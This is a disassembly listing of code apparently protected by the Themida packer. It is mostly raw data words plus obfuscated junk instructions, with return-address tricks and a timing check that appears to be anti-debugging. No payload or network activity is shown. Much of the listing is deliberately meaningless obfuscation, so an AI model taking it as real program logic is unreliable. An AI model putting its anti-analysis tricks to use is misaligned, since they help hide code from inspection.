dd 0C88EBB58h, 0B70F6881h, 0E9C08BDBh, 0Fh, 1B0E560Fh
dd 24481636h, 7A31AF90h, 83C073AAh, 0E41411BDh, 850F0007h
dd 29h, 0DE9h, 8D2A7D00h, 8B72BFCAh, 0F2626671h, 0BD83DC3Fh
dd 7E40B95h, 0A840F00h, 8B000000h, 0E40A799Dh, 8ABB6607h
dd 11BD8362h, 7E414h, 3B840Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E91FD6C3h
dd 6, 0C07BAD86h, 0BD8378A1h, 7E40399h, 6840F00h, 29000000h
dd 0E4242DBDh, 11BD8307h, 7E414h, 1C840Fh, 958B0000h, 7E400C1h
dd 399BD83h, 0F0007E4h, 984h, 0D3BF0F00h, 0EFD9D8Bh, 0BD8307E4h
dd 7E41411h, 1C840F00h, 0F000000h, 388h, 0BAE38000h, 1855BD83h
dd 0F0007E4h, 684h, 49958B00h, 8307E407h, 0E41411BDh, 840F0007h
dd 23h, 83DFBF0Fh, 0E426A9BDh, 840F0007h, 13h, 5C4DBE60h
dd 0FF610236h, 0E4181995h, 5CDA8107h, 8B5E8BE3h, 0D38B66C0h
dd 13F1BD83h, 750007E4h, 35BD8309h, 7E409h, 53501A74h
dd 858BC08Bh, 7E40EEDh, 0EED8589h, 9D8D07E4h, 7E6EA57h
dd 585BD3FFh, 935BD83h, 740007E4h, 8B535018h, 0E40EED85h
dd 0ED858907h, 8D07E40Eh, 0E6E6F89Dh, 5BD3FF07h, 258D8958h
dd 6A07E416h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 7EC353h, 0FEF9810h, 282h, 8BF08A00h
dd 1393BAC0h, 8B60542Eh, 0E4061D95h, 61585107h, 1411BD83h
dd 0F0007E4h, 4D784h, 31958900h, 8307E42Ch, 0E40B11BDh
dd 840F0207h, 64h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 28C35242h, 0C641AD04h, 0C1BAF195h, 8976B6E6h
dd 0E4021985h, 0F1BD8307h, 107E41Dh, 2A850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
dd 90F9F6C3h, 0C9C848EAh, 958B0E37h, 7E4042Dh, 0D99D8B60h
dd 8B07E415h, 0E44F7D8Dh, 0BE907h, 0E3760000h, 0B49EB158h
dd 0A17877h, 65B5091Dh, 0FE07E41Eh, 56006A01h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FA2ABB2h
dd 68Ch, 3DBD0900h, 0E807E40Bh, 4, 80h, 4850F50h, 66000000h
dd 8B2737BAh, 0F042444h, 148Eh, 7E86000h, 65000000h, 0E49AD743h
dd 0B95F13ECh, 1B0C5CA9h, 0B7008B61h, 244489F6h, 48D0F04h
dd 66000000h, 584BCBBAh, 895958Bh, 0FF6A07E4h, 13C5BD89h
dd 95FF07E4h, 7E41601h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 19C35747h, 0D5FD63FFh, 0BD1B2B0Fh, 0EC20BA61h
dd 71BB74EAh, 8D12C36Dh, 0E402E5BDh, 0D99D8B07h, 8B07E415h
dd 6A1C4Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 629F15C3h, 8B48D731h, 0E426899Dh, 6A016A07h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0DF7AC355h, 70F26DD6h, 8B8C3BD1h, 0C880FD0h
dd 0F000000h, 68Ah, 719D8900h, 8907E423h, 0E42D01B5h, 0D48A5007h
dd 6A240C89h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1D042444h, 41000000h, 119DC351h, 0ECCE3BABh, 0A07B4D3Dh
dd 2441BD89h, 0DE907E4h, 0DD000000h, 10EFBA9Fh, 132D0011h
dd 2CA3EA8h, 7026858Dh, 890F07E7h, 6, 0F1F9DA81h, 0D0FF18D6h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0B1C35040h
dd 0FBF5BD72h, 3D55D381h, 0B5890C8Bh, 7E42045h, 0E9204F8Bh
dd 0Dh, 401DA51Dh, 6F0DF8A1h, 68ADB7Ch, 80036A92h, 0B350AAE2h
dd 240C89D8h, 18D18501h, 858D07E4h, 7E77026h, 10E8h, 55062700h
dd 65273009h, 8CB0A6F6h, 9E7F7560h, 5E9BAh, 42D00000h
dd 5B2C04F9h, 0FFDAB70Fh, 198B0FD0h, 0E8000000h, 0Dh, 3080B518h
dd 0C6AD3314h, 0D51B4309h, 0A58D091Dh, 5A07E405h, 2E5BD8Dh
dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0AA2D61C3h, 0F05199ECh, 0B589D5A8h, 7E41AC1h
dd 0F1C4F8Bh, 16AD3B7h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0A4C35141h, 0B2E280D0h, 0C94BB50h, 0C891B48h
dd 75850924h, 8D07E42Fh, 0E7702685h, 0B5953307h, 0FF07E418h
dd 57006AD0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 0F2FD2E4Fh, 89501B60h, 0E42681B5h, 204F8B07h
dd 5227CB80h, 5ADBB70Fh, 6A036Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 897CC3C3h, 0E40A65BDh
dd 0BB669107h, 0B2506D7Dh, 0BB669106h, 858DDCDEh, 7E77026h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 42C35141h
dd 0C80F5C68h, 45981686h, 28B0F74h, 8A000000h, 0E18D89D1h
dd 0FF07E422h, 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 4651D700h, 4F7D8D8Bh
dd 6A07E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 8B66BCC3h, 6A01FED9h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0ACAAC350h
dd 0F5FCB0B6h, 0C8A86DC4h, 0A719D8Bh, 858B07E4h, 7E44F7Dh
dd 0DCE88160h, 0E9133437h, 0Ch, 455A966Ah, 0DE55DD3Eh
dd 8C1C9FAFh, 8000FE61h, 16AB1E2h, 4E8BDB2h, 0FF000000h
dd 8BFFFF9Fh, 8B6650DAh, 24448BD3h, 8B525004h, 60310FD6h
dd 0B4FF44BEh, 0F52504Ch, 61585A31h, 8B585Ah, 89DA8B66h
dd 0BA042444h, 78E2E60Ah, 0DB816658h, 858D7396h, 7E77030h
dd 0A358D09h, 8D3107E4h, 7E4321Dh, 6AD0FFh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0A0C44C3h
dd 856C6872h
dd 0B95BD83h, 0F0007E4h, 0DA84h, 89958B00h, 8307E423h
dd 0E42015BDh, 850F0107h, 0C7h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 62C35040h, 0BB66C5F6h, 8D8D7E94h
dd 7E7703Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0EBC35747h, 6AD38B66h, 158D8903h, 6A07E425h, 9D896001h
dd 7E402BDh, 61FAB70Fh, 8166D1FFh, 0F9401FCAh, 13E8016Ah
dd 54000000h, 0B8DA0248h, 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h
dd 8B66942Bh, 81665AD1h, 6A0072F2h, 15958B01h, 8907E430h
dd 0E42A4DBDh, 1D1FF07h, 0E4278DBDh, 0E80BB707h, 0F8776D59h
dd 0A98589h, 6E807E4h, 0FA000000h, 0F2BAB8D9h, 0CE967h
dd 98950000h, 0AF677B7Ah, 30F16BEEh, 6A5A58BFh, 53006A20h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 508E98F9h, 21659D8Bh, 6A5B07E4h, 0F810FFFh, 0E9000000h
dd 0Ah, 0EB061534h, 0B4B8035Fh, 95FFC579h, 7E41601h, 0E4DB589h
dd 0B807E4h, 0BB000000h, 42FFBE78h, 840FC00Bh, 80h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F7C35242h, 7DCB27A6h
dd 897D26FBh, 0E41C1585h, 35958B07h, 8307E42Dh, 0E42471BDh
dd 840F0007h, 44h, 95FFDA8Bh, 7E41F91h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 15h, 2EC35141h, 13E837h
dd 8FD20000h, 3FEFEF1Fh, 3DF16E33h, 0B0BD8FE0h, 0D08154FDh
dd 458D896Dh, 5A07E40Eh, 1EB5858Bh, 0E28007E4h, 12E95219h
dd 0E9000000h, 0E92A7187h, 54BC72F6h, 0E14682C6h, 1C0E51EFh
dd 0C65BADh, 9E800h, 0E5510000h, 5D7C9921h, 8120EFCAh
dd 0CFEC30D3h, 0F585B37h, 689h, 6EEB8100h, 6665DCC7h, 6AD98Ch
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0F65D78C3h, 840F04C1h, 0AFh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 62C35040h, 0B704F663h, 11CB80A3h
dd 86E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0BD402976h, 0BA37C50Bh, 2B85B7D7h
dd 0E418459Dh, 0B8EB8107h, 8B3CFC8Bh, 0E42D39B5h, 55006A07h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 0E1738149h, 6A4D5212h, 0F51FF94h, 815ADEBFh, 1180C6h
dd 0E19D0B00h, 0C707E41Ch, 6, 6E800h, 0E2E20000h, 1835FA25h
dd 1E4D9D89h, 5E5B07E4h, 0F883F8h, 0AB6840Fh, 9CBB0000h
dd 0F528EAEAh, 0F01F883h, 12385h, 0D0B70F00h, 0B8h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
dd 0CE965h, 5EC30000h, 0F51DEFFh, 0E2C96D77h, 0C00B7D7Ah
dd 7D840Fh, 9D230000h, 7E41D21h, 0F01F883h, 0AF84h, 0A5958B00h
dd 8307E415h, 840F03F8h, 39h, 1A05BD29h, 0EE807E4h, 0CA000000h
dd 863837A3h, 2C348606h, 980A1249h, 69850909h, 5A07E40Ah
dd 958BC02Bh, 7E42641h, 89E0BD8Dh, 9D8B005Bh, 7E4096Dh
dd 0BF0FE7FFh, 1B8D7h, 860F0000h, 6, 0EB72E281h, 0BD8D62BFh
dd 5B89E0h, 0FE7FFF5h, 68Eh, 599D8B00h, 8D07E42Ah, 0E44609BDh
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 22A29EF7h, 6D55822Fh, 8A0F60B7h, 1, 1E5E9F8h
dd 0F500000h, 282h, 5BFA8A00h, 4FD885C7h, 507E4h, 26BB0000h
dd 0B808B27Ah, 5, 3850Fh, 0C2800000h, 8C7E94Fh, 958B0000h
dd 7E42EB5h, 0F02F883h, 0B985h, 14E800h, 79B0000h, 0ED369055h
dd 0FF6F8603h, 0F8A91FF9h, 31D1C6C5h, 800F3DE4h, 6, 18FDBD89h
dd 895A07E4h, 0E406E9BDh, 0B807h, 0D7800000h, 0FC00B77h
dd 6684h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1B04h, 0C3534300h, 5739610Ah, 74BA82F2h, 1E61958Bh
dd 0F88307E4h, 61840F01h, 81FFFFFFh, 0B9664DC2h, 3F88315h
dd 0FEEB840Fh, 958BFFFFh, 7E40155h, 0B8h, 0B58D0100h, 8D07E416h
dd 5B89E0BDh, 0C19D3300h, 0FF07E41Ah, 0FD9D8BE7h, 8D07E40Eh
dd 0E44801BDh, 0ECA8107h, 0E915A2FDh, 0F7h, 15698589h
dd 0F88307E4h, 1B850F03h, 1000000h, 0E41D6DB5h, 95BD8D07h
dd 6607E449h, 0E508D381h, 0D2E9h, 0E3816600h, 0F8831D00h
dd 2C850F05h, 1000000h, 0E42339BDh, 7C7E907h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 388ED7C3h, 83F1FD27h, 850F06F8h, 26h, 22518529h, 0BD8D07E4h
dd 7E44B8Dh, 0C810Fh, 890F0000h, 6, 1901958Bh, 6CE907E4h
dd 80000000h, 0F88367DAh, 39850F07h, 8B000000h, 0E406619Dh
dd 59BD8D07h, 6A07E433h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8BE3C350h, 0E4019195h
dd 0E7E907h, 958B0000h, 7E42469h, 0F0AF883h, 1E85h, 16BB6600h
dd 85BD8DFCh, 5607E44Dh, 0CE95AF8h, 0F000000h, 688h, 91958B00h
dd 5707E423h, 30B9D88Bh, 8046DBE5h, 3F83ABE6h, 9F840F00h
dd 29000000h, 0E408CD9Dh, 6A0F3007h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 21A0C356h
dd 0DF8BAC0Eh, 6AC9D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 0EBD02FC3h, 6A472FB1h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 89E4C357h, 0E431D18Dh, 0FF84E907h, 6AFFFFh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 990F33C3h, 958BAAE2h, 7E41D7Dh, 1259D8Bh, 895F07E4h
dd 0E4264DB5h, 81BD8907h, 8B07E44Fh, 0E4036D95h, 0C18D8D07h
dd 6A07E430h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 62C351h, 0CB344314h, 65B5FFC8h
dd 8B07E416h, 0E41DF59Dh, 0D6858D07h, 5007E6DBh, 56EBBD8Dh
dd 8D8D07E4h, 7E46F50h, 831ABCB8h, 30CF2B54h, 47C8D007h
dd 8DF87549h, 0E46EEFB5h, 688D8D07h, 2B07E46Fh, 33A4F3CFh
dd 0B8C9h, 0C00B0000h, 0BD834674h, 7E42471h, 0FF067400h
dd 0E41F9195h, 81B58B07h, 8D07E44Fh, 0E6DBD685h, 8DD0FF07h
dd 0E443E785h, 0C7D0FF07h, 0E40E6585h, 107h, 49A58B00h
dd 8B07E406h, 0E40F11B5h, 71AD8B07h, 3307E412h, 0CC2C0h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3C35040h
dd 0D22F725Bh, 6AF8F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 441CD7C3h, 1DBD83B8h, 7E423h, 19840Fh
dd 0BA600000h, 1C7F0834h, 27AD8D03h, 0FF6107E4h, 0E421E195h
dd 559D8B07h, 8307E416h, 0E4038DBDh, 850F0007h, 27Ch, 8303C680h
dd 0E42015BDh, 850F0107h, 26Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 0DEC35040h, 3CE809BDh, 0BBCABEBBh
dd 7C6DDD91h, 0AD9BD83h
dd 0F0007E4h, 23784h, 0FD78B00h, 684h, 0A59D0100h, 8307E431h
dd 0E44FD4BDh, 840F0007h, 21Ch, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 5EC35141h, 2C05958Bh, 0E95607E4h
dd 0Fh, 0A1583351h, 71B43060h, 795305D9h, 5BE24DDAh, 0DBD6858Dh
dd 8D8907E6h, 7E42AE1h, 32958D29h, 0B58B07E4h, 7E44F81h
dd 5E4CBA66h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0B3DCAC3h, 0CBDF4545h, 0C654CDD5h
dd 0E42C2D85h, 66605407h, 0A039EF81h, 18DD9529h, 0E86107E4h
dd 4, 0FF4EBEF4h, 629EBB60h, 94BF51E3h, 61258674h, 9E95650h
dd 0C8000000h, 4DA818F5h, 4313CEB8h, 24448B5Ah, 8BD88B04h
dd 19840F00h, 0E9000000h, 14h, 5673206Bh, 6D142ACAh, 835ABC38h
dd 5EE80BBAh, 7D99336h, 4244489h, 51006A58h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0DABFA2BDh
dd 5D33C453h, 0BD295167h, 7E40669h, 19DB5FFh, 0F85707E4h
dd 0D8B70F5Ah, 3BDC858Dh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1C0424h, 53430000h, 81360CC3h, 329DCC22h
dd 9D23B80Ah, 7E419CDh, 1CBBD0FFh, 0F397708h, 68Ch, 7DBD2900h
dd 6A07E42Ah, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0B138289Fh, 10E8h, 23184600h, 7F63214Fh
dd 7417D3BCh, 806756A6h, 5D958BF2h, 5B07E418h, 0D08BFF6Ah
dd 6E98501h, 0D0FF07E4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 18h, 0F3C35545h, 7D280A42h, 0D81958Bh, 0B5FF07E4h
dd 7E403ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 9CC35040h, 84496616h, 4059A42Eh, 95FFD08Bh, 7E41665h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h
dd 0E1E874F1h, 4F81B58Bh, 0C3F907E4h, 2DD5B531h, 0B58B07E4h
dd 7E41EB5h, 66E38166h, 0FF60B9Ch, 3584h, 0EE900h, 29150000h
dd 0DA2A9865h, 6CB4FD50h, 81873931h, 6A0006C6h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 65B7C353h, 85894246h, 7E44F89h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 15h, 0C9C35242h, 1F830F22h, 0E8000000h
dd 0Ch, 0A115614Eh, 8876EDBBh, 0FE855B3Ch, 7E8h, 0AD49F100h
dd 47248D34h, 0F8835B5Bh, 0BD840F00h, 6A000002h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 76B3C356h, 0E18BBB66h, 0B8D48Ah, 8B000000h, 0F883D3h
dd 71840Fh, 83F80000h, 850F02F8h, 37h, 1F198D89h, 858D07E4h
dd 7E44604h, 16AD9589h, 292D07E4h, 3000009h, 0E4251195h
dd 66609007h, 66864CBFh, 5061CB8Bh, 90D98B66h, 0DC8ABA66h
dd 0F19D8BC3h, 0B807E420h, 0
; ---------------------------------------------------------------------------
mov [ebp+7E42511h], edi
jmp loc_589A98
; ---------------------------------------------------------------------------
push 0
push esi
call sub_58986A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58986A proc near ; CODE XREF: Themida_:00589862p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_58986A endp
; ---------------------------------------------------------------------------
xchg eax, esp
stosb
lea ecx, [edx-4]
mov eax, 1
lea edi, [ebp+7E44609h]
and bx, 80A0h
jmp loc_589978
; ---------------------------------------------------------------------------
push 0
push edx
call sub_58989F
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58989F proc near ; CODE XREF: Themida_:00589897p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_58989F endp
; ---------------------------------------------------------------------------
inc ebp
aam 7Bh
mov bx, 0E63Ah
cmp eax, 2
jnz loc_589937
push 0
push ecx
call sub_5898CA
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5898CA proc near ; CODE XREF: Themida_:005898C2p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5898CA endp
; ---------------------------------------------------------------------------
dw 0E41h
dd 3E97668Ch, 20BF883Fh, 0DE9h, 48F13300h, 0A4B75839h
dd 83402F90h, 8B66E898h, 1BD8DDAh, 0E907E448h, 74h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 74C35141h, 623013Bh
dd 958B0259h, 7E41F3Dh, 5830Fh, 81660000h
db 0E3h, 0F0h, 5Ch
; ---------------------------------------------------------------------------
loc_589937: ; CODE XREF: Themida_:005898B9j
cmp eax, 3
jnz loc_58995D
mov dx, 0AD87h
lea edi, [ebp+7E44995h]
mov dx, bx
jmp loc_589978
; ---------------------------------------------------------------------------
jmp loc_58995D
; ---------------------------------------------------------------------------
db 0Eh
dd 7C3B613Ch
db 0E7h
; ---------------------------------------------------------------------------
loc_58995D: ; CODE XREF: Themida_:0058993Aj
; Themida_:00589952j
cmp eax, 5
jnz loc_589978
jmp loc_589971
; ---------------------------------------------------------------------------
movsd
test eax, 0BAD331A6h
loc_589971: ; CODE XREF: Themida_:00589966j
jmp loc_5899D5
; ---------------------------------------------------------------------------
mov dh, 0F5h
loc_589978: ; CODE XREF: Themida_:0058988Fj
; Themida_:0058994Dj ...
push edi
sbb dx, 8B1Fh
mov ecx, 46DBE530h
mov [ebp+7E40479h], eax
loc_589989: ; CODE XREF: Themida_:005899C7j
cmp dword ptr [edi], 0
jz loc_5899D5
pusha
jmp loc_5899AB
; ---------------------------------------------------------------------------
test eax, 5BAA12A9h
sti
push esp
aaa
xor esp, [esi+0Ch]
lodsb
xor [eax+42FF32D0h], ah
push ds
loc_5899AB: ; CODE XREF: Themida_:00589993j
movzx eax, cx
popa
sub [ebp+7E41C45h], esi
xor [edi], cl
movzx ebx, si
ror ecx, 1
and bl, 7Ch
sub [ebp+7E41F05h], edi
inc edi
clc
jmp loc_589989
; ---------------------------------------------------------------------------
or dl, 7Bh
xor [ebp+7E41689h], ecx
loc_5899D5: ; CODE XREF: Themida_:loc_589971j
; Themida_:0058998Cj
cmp eax, 5
jnz loc_589A98
push 0
push edx
call sub_5899E9
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5899E9 proc near ; CODE XREF: Themida_:005899E1p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5899E9 endp
; ---------------------------------------------------------------------------
db 0EFh, 58h, 1Dh
dd 9589AFD5h, 7E42EC5h, 6880Fh, 8D890000h, 7E4063Dh, 80D98C66h
dd 0C1F679EEh, 55850F04h, 0E8000000h, 8, 63F439ACh, 0F6ED3B20h
dd 26518589h, 0B85A07E4h, 0
; ---------------------------------------------------------------------------
push ecx
mov edx, 1CE9A2BCh
pop ebx
jmp loc_589A98
; ---------------------------------------------------------------------------
push 0
push ebp
call sub_589A4F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589A4F proc near ; CODE XREF: Themida_:00589A47p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_589A4F endp
; ---------------------------------------------------------------------------
db 0F4h
; ---------------------------------------------------------------------------
sub [esi+2Ah], esp
cwde
sub [edx], esp
and al, 8Bh
fbstp tbyte ptr [ecx]
mov ebp, 7E4041Dh
or dx, 0BCA9h
mov eax, [ebp+7E43571h]
cld
jmp eax
; ---------------------------------------------------------------------------
mov ebx, [ebp+7E43349h]
jmp loc_589A98
; ---------------------------------------------------------------------------
dd 0B9696939h, 0CE9B2838h, 107EA68Ch, 5538BCB6h
; ---------------------------------------------------------------------------
loc_589A98: ; CODE XREF: Themida_:0058985Aj
; Themida_:005899D8j ...
cmp dword ptr [ebp+7E41665h], 0
jnz loc_589BAA
jge loc_589AB1
mov [ebp+7E40509h], edx
loc_589AB1: ; CODE XREF: Themida_:00589AA5j
push eax
jmp loc_589ACA
; ---------------------------------------------------------------------------
db 4Ah
dd 6755DCE4h, 43A5E3D9h, 4F6DF597h, 6DBE944Bh
; ---------------------------------------------------------------------------
or ch, [ecx]
loc_589ACA: ; CODE XREF: Themida_:00589AB2j
mov [esp], eax
jmp loc_589AE3
; ---------------------------------------------------------------------------
dw 0E2DAh
dd 0A05237EDh, 0E4A0C4A2h, 8D40D9B2h
db 0F8h, 0E9h, 0B4h
; ---------------------------------------------------------------------------
loc_589AE3: ; CODE XREF: Themida_:00589ACDj
or edx, 470A90D1h
mov byte ptr [ebp+7E42C2Dh], 45h
movzx ebx, dx
push 0EA730B37h
push eax
push edx
mov edx, esi
rdtsc
mov dx, bx
pop edx
pop eax
xor dword ptr [esp], 6401625Eh
mov [ebp+7E41CFDh], edx
push dword ptr [ebp+7E4019Dh]
mov [ebp+7E42C59h], esi
jbe loc_589B25
mov bx, di
loc_589B25: ; CODE XREF: Themida_:00589B1Cj
lea eax, [ebp+7E43BDCh]
sbb edx, 358CB911h
jmp loc_589B45
; ---------------------------------------------------------------------------
dw 80C5h
; ---------------------------------------------------------------------------
mov al, ds:810E9CC0h
retf 0A09Bh
; ---------------------------------------------------------------------------
dd 8892B95h
db 86h
; ---------------------------------------------------------------------------
loc_589B45: ; CODE XREF: Themida_:00589B31j
call eax
sub ebx, 4D6277Dh
mov bl, 7Bh
mov [ebp+7E41665h], eax
push 0
push esi
call sub_589B60
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589B60 proc near ; CODE XREF: Themida_:00589B58p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_589B60 endp
; ---------------------------------------------------------------------------
dd 0C05AE358h, 2569958Bh, 0DB8107E4h, 853CF18h, 50006A58h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 594F4BC8h, 2FAB4549h, 0A698BAB5h
db 57h, 26h
; ---------------------------------------------------------------------------
loc_589BAA: ; CODE XREF: Themida_:00589A9Fj
cmp dword ptr [ebp+7E44FD8h], 0
jz loc_589C08
mov [ebp+7E41B99h], esi
push dword ptr [ebp+7E403ADh]
push 0
push esi
call sub_589BCE
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589BCE proc near ; CODE XREF: Themida_:00589BC6p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_589BCE endp
; ---------------------------------------------------------------------------
dw 0B685h
dd 8CA18C1Fh, 95FFC483h, 7E41665h, 1AA9958Bh, 11E907E4h
dd 0C8000000h, 0CA8D2A7Dh, 718B72BFh, 3FF26266h, 38A766DCh
; ---------------------------------------------------------------------------
loc_589C08: ; CODE XREF: Themida_:00589BB1j
cmp eax, 0
jnz loc_589CCE
jmp loc_589C1C
; ---------------------------------------------------------------------------
dw 0F404h
dd 6AD8FD4Ch
; ---------------------------------------------------------------------------
loc_589C1C: ; CODE XREF: Themida_:00589C11j
cmp dword ptr [ebp+7E406B9h], 0
jz loc_589C80
push 0
push eax
call sub_589C34
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589C34 proc near ; CODE XREF: Themida_:00589C2Cp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_589C34 endp
; ---------------------------------------------------------------------------
cmp eax, 0FCFA88Ah
mov bh, 0D3h
mov ebx, 7549DCA6h
push dword ptr [ebp+7E406B9h]
add [ebp+7E41449h], ebx
mov eax, 1
jmp loc_589C75
; ---------------------------------------------------------------------------
dw 0C22Eh
dd 0A4880E05h, 0DE3D2F03h, 7A5DAC87h
; ---------------------------------------------------------------------------
dec esi
loc_589C75: ; CODE XREF: Themida_:00589C61j
jmp loc_589E15
; ---------------------------------------------------------------------------
mov edx, [ebp+7E405ADh]
loc_589C80: ; CODE XREF: Themida_:00589C23j
push dword ptr [ebp+7E403ADh]
push edx
mov [ebp+7E40345h], ecx
pop edx
push dword ptr [ebp+7E403ADh]
push 0
push ecx
call sub_589C9F
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589C9F proc near ; CODE XREF: Themida_:00589C97p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 15h
inc ecx
push ecx
retn
sub_589C9F endp
; ---------------------------------------------------------------------------
db 0E2h
dd 65B5FF2Ah, 8907E416h, 0E4180595h, 153E907h, 958B0000h
dd 7E405A1h, 160D9D89h
db 0E4h, 7
; ---------------------------------------------------------------------------
loc_589CCE: ; CODE XREF: Themida_:00589C0Bj
pop edi
push edi
mov edx, [ebp+7E426DDh]
pop edx
cmp dword ptr [ebp+7E42161h], 0
jnz loc_589D56
jnp loc_589CEC
mov ebx, edx
loc_589CEC: ; CODE XREF: Themida_:00589CE4j
mov [ebp+7E424D9h], ebx
mov byte ptr [ebp+7E42C2Dh], 4Dh
jge loc_589D02
and dh, 70h
loc_589D02: ; CODE XREF: Themida_:00589CF9j
push 9CB8F3E3h
mov dl, 0D2h
xor dword ptr [esp], 388D854Bh
adc dl, 93h
push dword ptr [ebp+7E41DE1h]
push 0
push edi
call sub_589D24
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_589D24 proc near ; CODE XREF: Themida_:00589D1Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_589D24 endp
; ---------------------------------------------------------------------------
and [edx-257E99A3h], cl
